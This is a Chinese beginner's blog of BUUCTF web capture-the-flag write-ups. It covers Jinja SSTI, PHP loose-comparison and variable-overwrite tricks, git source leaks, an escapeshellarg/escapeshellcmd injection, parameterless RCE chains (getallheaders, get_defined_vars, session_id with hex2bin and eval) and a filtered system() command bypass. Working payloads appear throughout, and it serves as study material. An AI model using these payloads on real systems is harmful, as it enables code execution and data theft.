BUUCTF做题记录_1

初学者的一些做题记录


shrine

进去直接给了一大坨代码,简单捋一下:
c1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask 
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')#将FLAG从环境变量中弹出去,弹出去的FLAG给了app.config字典中FLAG键对应的值,可以用config['FLAG']访问它,但后面会把config这东西当黑名单过滤掉。

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')#左括号替换为空,右括号替换为空
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s#把黑名单里的字符全替换为空,两个%用来转义,否则{}就被当成占位符了。注意这个只替换双括号里的config和self,单个括号没啥影响。

return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

猜测SSTI模板注入,在/shrine/下尝试49:
c2
七个七,而且代码里都提了Jinja。
对于输入首先过滤了(),然后过滤了config和self这两个关键字。
利用/shrine/{{"".__class__.__base__.__base__}}找到了它最大的爹object,再用subclasses找它下面的所有子类:
{{"".__class__.__base__.__base__.__subclasses__()}}
c3
出了个这种东西就不会做了。感觉自己的知识还是太贫瘠了,一看到SSTI的题就想着判断类型然后找它的爹执行命令,都快成思维定式了。。。而且做题也不细心,既然它把config和self放到了黑名单里,那为什么偏偏放它俩呢?config可能是因为把FLAG直接弹给了它所以过滤,那self为什么过滤?希望以后在学习过程中能克服这些问题。
去网上找了下wp看看其它师傅是怎么解的,感谢这位师傅:

1
2
https://www.cnblogs.com/Cl0ud/p/12316287.html
https://zhuanlan.zhihu.com/p/93746437

如果没有黑名单的化,直接即可访问环境变量中的FLAG,或者用self.dict 访问但config和self被黑名单过滤掉了。这时可以使用python内置函数:url_for或者get_flashed_messages读取全局变量current_app。再利用这个current_app访问config字典中FLAG键对应的值。

payload:/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

lottery

进环境发现是个类似猜骰子的东西:注册账号后去花钱猜数,猜对了给钱。当口袋饱饱之后可以买FLAG:

lo1

题目给了个附件,看看都有啥东西:

lo2

直接把所有代码都给了?和钱有关的代码如下:

1
2
3
4
5
6
7
8
9
<?php
$name = htmlspecialchars($_SESSION['name']);
$money = '$' . $_SESSION['money']; //money在SESSION变量中?直接burpsuite抓包看看能不能改
echo <<<EOT
<li>Username: $name</li>
<li>Money: $money</li>
EOT;

?> //acount.php

直接去buy界面猜数抓包看看啥情况:

lo3

POST传了{"action":"buy","numbers":"7777777"}action:buynumbers后面是我们猜的数字,系统会把数字带进去和"win_numbers":"8701664"比较,这个win_numbers和比较对错是怎么定义的?找找有没有相关的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums(); //后面那个是生成的七位随机数
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //挺常见的弱相等,若对Numbers无过滤则直接输入布尔True让它和任何非零数字相等
$same_count++;
}
}
switch ($same_count) { //两个及以上相同才会给钱
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2; //每次尝试需要两块钱
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

PHP的弱相等(==)和强相等(===)碰见挺多次了,弱相等会在比较之前进行类型转换,转换完了再比较是否相等(可以用布尔、科学计数法等绕过)。强相等会直接比较类型是否相等?内容是否相等?(不过依然可以通过数组方法绕过)。

1
2
3
4
5
6
7
8
9
10
11
12
13
下面的总结参考了这位师傅的文章:https://blog.csdn.net/qq_43715020?type=blog 

在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool
在PHP中当转换为 boolean 时,以下值被认为是 FALSE
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 “0
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE

因为是拿数组元素一个一个的比较,那就直接让"numbers"为[true,true,true,true,true,true,true]。

payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]}

lo4

不过有个问题我还没搞懂:bool的true和false常量是不区分大小写的,但我改成:{"action":"buy","numbers":[TRUE,TRUE,TRUE,TRUE,TRUE,TRUE,TRUE]}就给我回显invalid json。。。难道json这东西的一些定义还对大小写有说法?

Cat

题目描述: 抓住那只猫

cat1

随便输了个loli.club没啥反应,单上面的URL变化了:

/index.php?url=loli.club

GET传参url?看着像存在文件包含漏洞:

url=etc/passwd试了半天没啥反应。。用burpsuite抓包看response有个CAT?输个CAT尝试一下:

cat2

执行了ping命令?试试127.0.0.1:

cat3

果然是ping命令,那这题可能是RCE,但&|;均被过滤掉了(提示invalid URL)。。后面不会做了,下面部分内容参考了这位师傅的博客,感谢:https://blog.csdn.net/qq_44065556/article/details/120541298和https://www.cnblogs.com/xyongsec/p/11364520.html

既然有过滤就要看看它过滤了啥没过滤了啥,在框里输入东西后上面的URL会变化:

http://61.147.171.105:53337/index.php?url=127.0.0.1%26ls

直接送到burpsuite里爆破,集束炸弹模式从%00爆到%FF,发现当URL大于%80后会有报错:

cat4

cat5

发现有,等标签猜测要改成html后缀?改完后打开:

cat6

这玩意儿是个Django报错界面(感觉有点像今年NSCTF那道题的报错界面):

illegal multibyte sequence 意思是非法的多字节序列

而GBK这东西面对超过0x7F的时候会用两个字符表示。感觉就是这里出了问题:超过%7F的URL均会把报错。

而且当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。

cat7

接下来有两种方法:一种先找settings.py在找database,另一种直接在报错页面ctrl+f找database:

1
/opt/api/database.sqlite3

django项目生成时settings.py会存放在项目目录下再以项目名称命名的文件夹下面:

/opt/api/api/settings.py

进数据库里直接ctrl+F然后找CTF就好了。。不过我做这道题的时候不知道咋回事没法读,一直进的是那页报错信息。。。MD

[BJDCTF2020]Mark loves cat

进环境发现是个网页:

a4

感觉像是敏感文件泄露的题?先试试/.git再用dirsearch扫:

a5

有东西,直接上Githack:

python GitHack.py http://af058f36-8fc4-47ff-86be-d9b094d1187b.node4.buuoj.cn/.git/

发现有index.phpflag.php

a6

这里碰了钉子:有时候Githack不知道是扫太快了还是咋回事,无法下载扫出来的文件(比如一开始我就找不到下载的flag.php和index.php)。后来在网上找了半天,大佬说是线程太多的原因,把线程改小就可以不被拒绝访问,方法:

a7

这东西本来是10,给改成1就好了。

(我感觉是我用windows的原因。。?因为之前dirsearch也出现过这种情况,用Linux就正常了)

a8

看看他俩有啥东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
index.php:
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){ POST传x=y
$$x = $y; //变量覆盖,变量(x的值)=y
}

foreach($_GET as $x => $y){ GET传x=y
$$x = $$y; //同上,变量(x的值)=变量(y的值)
}

foreach($_GET as $x => $y){ //遍历GET传的
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome); //终止脚本执行并返回$handsome
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){//GET、POST均没传flag
exit($yds); //终止脚本执行并返回$yds
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is); //终止脚本执行并返回$is
}


echo "the flag is: ".$flag;

flag.php:
<?php

$flag = file_get_contents('/flag');

$flag已经定义,要想办法把$flag搞出来。但通篇只有利用exit去显示$yds、$is、$handsome,和变量覆盖联系一下:是否可以利用变量覆盖直接exit($flag)?

第二个flag在我看来最好满足:只要GETPOST都不传flag就行了,但是如何exit($flag)?

$yds=$flag $(x的值)=$(y的值)->GET传yds=flag

payload:/index.php?yds=flag

[BUUCTF 2018]Online Tool 还没做完标记一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);//1.确保用户只传递一个参数给命令。2用户不能指定更多的参数。3.用户不能执行不同的命令。
$host = escapeshellcmd($host);//1.确保用户只执行一个命令。2.用户可以指定不限数量的参数。3.用户不能执行不同的命令。 这两个函数一起使用会存在漏洞。
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
} //-T5 : 可以加快或者减慢扫描速度,有六个级别,级别越高速度越快,也越容易被WAF或者IDS发现。-sT:使用TCP Syn扫描最常用的端口,会完整的执行完TCP的三次握手,隐蔽性不强。-Pn:有时候防火墙会禁止ping请求.-PN命令告诉Nmap不用ping远程主机。–host-timeout :限制每个 IP 地址的扫描时间(单位为秒).-F:要求扫描时(包挺ping扫描)使用小的IP包分段。

看了其它师傅们的wp,问题主要出在连续使用escapeshellargescapeshellcmd上:同时使用会导致绕过过滤执行命令:

以下内容参考了X1r0z师傅的博客:

https://exp10it.cn/2022/08/buuctf-web-writeup-3/#buuctf-2018online-tool

escapeshellarg() 会在单引号之前加上 \, 并在被转义的单引号两边和整个字符串两边加上单引号

escapeshellcmd() 会在所有的 \ 前加上 \, 形成 \\, 并在不成对的单引号前加 \

1
2
3
4
5
6
7
123 -> '123' -> '123' # 正常效果

123' -> '123'\''' -> '123'\\''\' # 最后一个引号不成对, 被转义

123'' -> '123'\'''\''' -> '123'\\'''\\''' # 所有引号成对, 不转义

'123' -> ''\''123'\''' -> ''\\''123'\\''' # 所有引号成对, 不转义
1
2
3
4
5
6
7
8
9
10
11
https://blog.csdn.net/weixin_43952190/article/details/105846175

https://blog.csdn.net/shinygod/article/details/123207785?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-123207785-blog-105846175.235^v38^pc_relevant_yljh&spm=1001.2101.3001.4242.1&utm_relevant_index=3

https://exp10it.cn/2022/08/buuctf-web-writeup-3/#buuctf-2018online-tool

https://blog.csdn.net/xhy18634297976/article/details/122852540?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122852540-blog-100711933.235%5Ev38%5Epc_relevant_yljh&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122852540-blog-100711933.235%5Ev38%5Epc_relevant_yljh&utm_relevant_index=2

https://blog.csdn.net/weixin_44077544/article/details/102835099

https://blog.csdn.net/xhy18634297976/article/details/122852540?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122852540-blog-100711933.235%5Ev38%5Epc_relevant_yljh&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122852540-blog-100711933.235%5Ev38%5Epc_relevant_yljh&utm_relevant_index=2

[GXYCTF2019]禁止套娃

tw1

源码没啥信息,直接dirsearch扫看看吧:

python dirsearch.py -u http://8126df41-22c6-4533-823d-8e6fc9622f9d.node4.buuoj.cn --delay 3 -t 30

tw2

扫出来很多.git文件。。应该是git泄露了,用GitHack弄它:

python GitHack.py -u http://8126df41-22c6-4533-823d-8e6fc9622f9d.node4.buuoj.cn/.git/

tw3

现在windows下看看,不行再用Kali做。发现有个Index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//正则匹配,过滤了点伪协议要用的东西(比如data://啥的,前面加那个\是转义用的),没触发则进行下一步判断。/i模式不区分大小写
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {//匹配a-z,逗号和_,\(和\)分别是转义后的左括号和右括号。(?R)?这玩意儿查了一下说是递归模式?正则过滤后的结果必须强等于分号
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {//又一次过滤了一大堆东西 // echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
正则匹配中(?R)?递归模式的解释:
?R是引用当前表达式((/[a-z,_]+((?R)?)/)),形成递归调用。
?表示递归当前表达式0次或1次。若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())),举个栗子:


<?php

$a = 'a(b(c(d()f()e())));';
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $a)) {
echo 'goodbye';
}
else{
echo 'hello';
}
?> //echo hello

<?php

$a = 'a(b(c(d()f()e())));';
if(';' === preg_replace('/[a-z,_]+\((?R)*\)/', NULL, $a)) {
echo 'goodbye';
}
else{
echo 'hello';
}
?>//echo goodbye

//注意$a的格式,如果是很标准的一个括号套着一个括号:a(b(c())),ok,用这两种都没问题,但你如果有的地方套了两个:a(b()c())。那第一种就不行了,只能用第二种。我个人理解就是?一个套着一个这样搞,但是*允许一个套多个。感觉这就是题目说的套娃?一般RCE都要给执行命令的函数传参,比如eval(system('ls'));。匹配完了会多个''出来。

经过这种正则匹配后能过滤的基本都过滤了,去网上查了wp原来这是一种叫无参数RCE的题型(第一次见)。下面的内容参考了这两位师傅的文章,感谢!

https://blog.csdn.net/Manuffer/article/details/120738755

https://blog.csdn.net/weixin_46330722

无参数RCE一般有三种解法:

1
2
3
1.利用getallheaders()函数。
2.利用get_defined_vars()函数。
3.利用session_id帮助命令执行。

getallheaders()来说,这东西会以数组形式返回所有HTTP头信息,举个栗子:

1
2
3
4
5
6
<?php

var_dump(getallheaders());//数组形式所以我用了var_dump


?>

结果:

tw4

可以看到以数组的形式返回了HTTP数据包的头和对应信息,有意思的一点是这东西是倒着出来的。

数组形式肯定没法用,想给eval啥的传参肯定要是个字符串。可以利用implode函数把数组变成字符串,看下GPT对这个函数的解释:

tw5

不过这个$glue并不是必须的,默认没东西直接串起来,比如:

1
2
3
4
5
<?php
$a = implode(getallheaders());
echo $a;

?>

tw6

现在字符串也得到了,我么可以在传http包的时候给数据包底下加个头比如:renyi:system('whoami');//达到执行任意命令的目的(后面跟着注释符号,把其他的注释掉了)。

不过着这种方法我没成功。。。

get_defined_vars():返回所有已定义所组成的数组,不过这个和getallheaders()不一样,它返回的是多维数组,举个栗子:

1
2
3
4
5
<?php

var_dump(get_defined_vars());

?>

tw7

可以看到这东西会把GET传入的参数显示在第一位

tw8

GET传入的参数可控,那我们肯定希望在这个多维数组中取出我们想要的东西:利用current函数:

1
current()函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组,所以我们可以通果这个函数将其取出来

举个栗子:

1
2
3
4
5
<?php

var_dump(current(get_defined_vars()));

?>

tw9

tw10

传两个参数也可以↑

假如我们要传入的恶意代码放在GET后面(传的第一个参数为了绕过一些特定参数的检测,第二个参数放恶意代码),那么如何通过current(get_defined_vars())把他取出来?

可以利用end函数(返回数组最后一个单元的值),比如:

1
2
3
4
5
<?php

var_dump(end(current(get_defined_vars()));

?>

tw11

绕了个小小的圈子,现在写个简单的东西看看为啥要通过第二种方法传两个参数达到RCE的效果:

1
2
3
4
5
6
7
8
9
10
<?php

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) {
eval($_GET['exp']);


}


?>

构造payload:?exp=eval(end(current(get_defined_vars())));&c=system(phpinfo());

tw12

可以看到成功执行了system(phpinfo())。解释下为什么这么写:eval(end(current(get_defined_vars())));这东西为了返回我们get传过去的最后一个参数的值。我一开始没加eval想着外面已经有个eval了(当时人晕了,哈哈),里面这个eval是为了执行这些套娃函数把恶意代码翻出来,外面的eval是执行恶意代码用的,一来一回就相当于eval(system(phpinfo()))了。而且这第二个参数可以随便构造,反正它只检测exp

第三种方法通过session_id执行恶意代码:

1
2
3
4
5
6
//作用是获取当前会话的ID,也就是cookie中的phpsession,这里要注意的一点是,phpsession中只允许出现 a-z A-Z 0-9 , - 等字符,所以不能直接插入恶意代码,可以先将其16进制编码后再插入。
测试代码:
<?php
echo hex2bin(session_id(session_start()));
?>
//参考了novic4师傅的文章
1
2
3
4
5
6
//$a = implode(getallheaders());
//ech
//var_dump(localeconv());
//var_dump(scandir('.'));
//$viper = $_GET['viper'];
//@eval($viper);

tw13

注意这个hex2bin,他是字符串转字符串而不是数字转数字。

现在思路就比较清晰了:phpsession头的值我们可以控制,先通过eval(hex2bin(session_id(session_start())));把我们需要的恶意代码翻出来,然后把它传给exp参数就行了(注意要把恶意代码转成十六进制!):

因为我到现在还没整明白怎么用burpsuite抓本地包,所以下面的图参考了novic4师傅的图,再次感谢!

tw14

现在回到这个套娃题,已知过滤了ethex等,似乎上面三种方法都用不了了。。。

看了师傅们的wp,第一个payload这么写:

?exp=print_r(scandir(current(localeconv())));

先看看这个localeconv()返回了什么东西:

tw17

1
2
3
4
5
6
<?php

var_dump(localeconv());

?>

tw15

第一项返回了我们想要的.。再利用current返回一维数组第一项的值:

1
2
3
4
5
<?php

var_dump(current(localeconv()));

?>

tw16

注意这里和前面那个get_defined_vars区分开,人家返回的是多维数组,现在我们只返回了一个数组,所以current后只有一个点。

scandir('.')这东西会以数组形式返回当前目录下的文件:

1
2
3
4
5
<?php

var_dump(scandir('.'));

?>

tw18

综上,我们先通过/?exp=var_dump(scandir(current(localeconv())));看看当前目录下的文件都有啥(var_dump也能用print_r等代替:

tw19

可以看到倒数第二个文件就是flag.php了,构造payload:

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

因为flag.php在倒数第二个,所以先array_reverse把它转成正数第二个,然后next将指针向下移动直接提取第二个(前面的current将指针放在首位)。

tw20

也可以用highlight_file()函数替换,他俩差不多。

还有一种情况,比如这个flag.php的位置不特殊:

1
2
3
如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
array_rand()这东西会返回随机一个键名,array_flip()用于交换数组中的键和值,这两个组合一下就会获得随机的一个键值。因为这东西完全随机的,所以多刷新几次才可能会出现flag!

第二种方法使用session_id:

不过正则匹配过滤了hex,前面的eval(hex2bin(session_id(session_start())));肯定没法用了,不过师傅的博客里说PHPSESSIID这东西可以直接给他赋值flag.php

payload:?exp=show_source(session_id(session_start()));

并加个cookie头:cookie:PHPSESSID=flag.php

tw21

以上内容参考了这些师傅们的文章,感谢!:

1
2
3
4
https://sculptor-liu.github.io/2021/03/20/GXYCTF-2019-%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83/
https://www.cnblogs.com/LLeaves/p/12868440.html
https://blog.csdn.net/m0_62879498/article/details/124538469
https://blog.csdn.net/Manuffer/article/details/120738755?spm=1001.2014.3001.5506

[WUSTCTF2020]朴实无华

进环境发现是这么个东西。。

pswh1

确实和题目对应了,哈哈。他这个报错好像是个

不知道干啥就用dirsearch扫:python dirsearch.py -u http://7136b55a-48c9-48ae-8945-1df4a83d47e7.node4.buuoj.cn:81/ --delay 3 -t 30

Kali下不用加后面那一串:python dirsearch.py -u http://7136b55a-48c9-48ae-8945-1df4a83d47e7.node4.buuoj.cn:81/

扫出来两个东西:index.phprobots.txt,访问robots.txt

pswh2

index.php就是进去这个界面,访问下这个fAke_f1agggg.php:

pswh3

:(,burpsuite抓包看看什么情况:

pswh4

芜湖,响应包里有这么个东西:fl4g.php,直接访问:

pswh5

这里发现个问题:页面返回一堆乱码,但是放burpsuite的repeater模块里看又不存在,和上面那段php报错有关系?不太懂。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){//num经过intval后要小于2020,加1再inntval要大于2021,直接用科学计数法绕过:2e4,即/?num=2e4
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))//md5弱等于其md5加密后,弱等于是先将字符串类型转化成相同再比较。转换的规则为,若该字符串以合法的数值开始,则使用该值,否则其值为0。找个加密前0e开头加密后仍为0e的就行了
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){ //get_flag中不能有空格
$get_flag = str_ireplace("cat", "wctf2020", $get_flag); //str_ireplace函数不区分大小写。
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

过滤了cat,绕过姿势太多了。。ca''t还有tac啥的都可以。先ls看看当前目录都有啥东西:

payload:?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

flag{7ff4de78-289c-405b-9361-313240dfdcec}


BUUCTF做题记录_1
http://example.com/2023/09/17/helloworld/
作者
notbad3
发布于
2023年9月17日
许可协议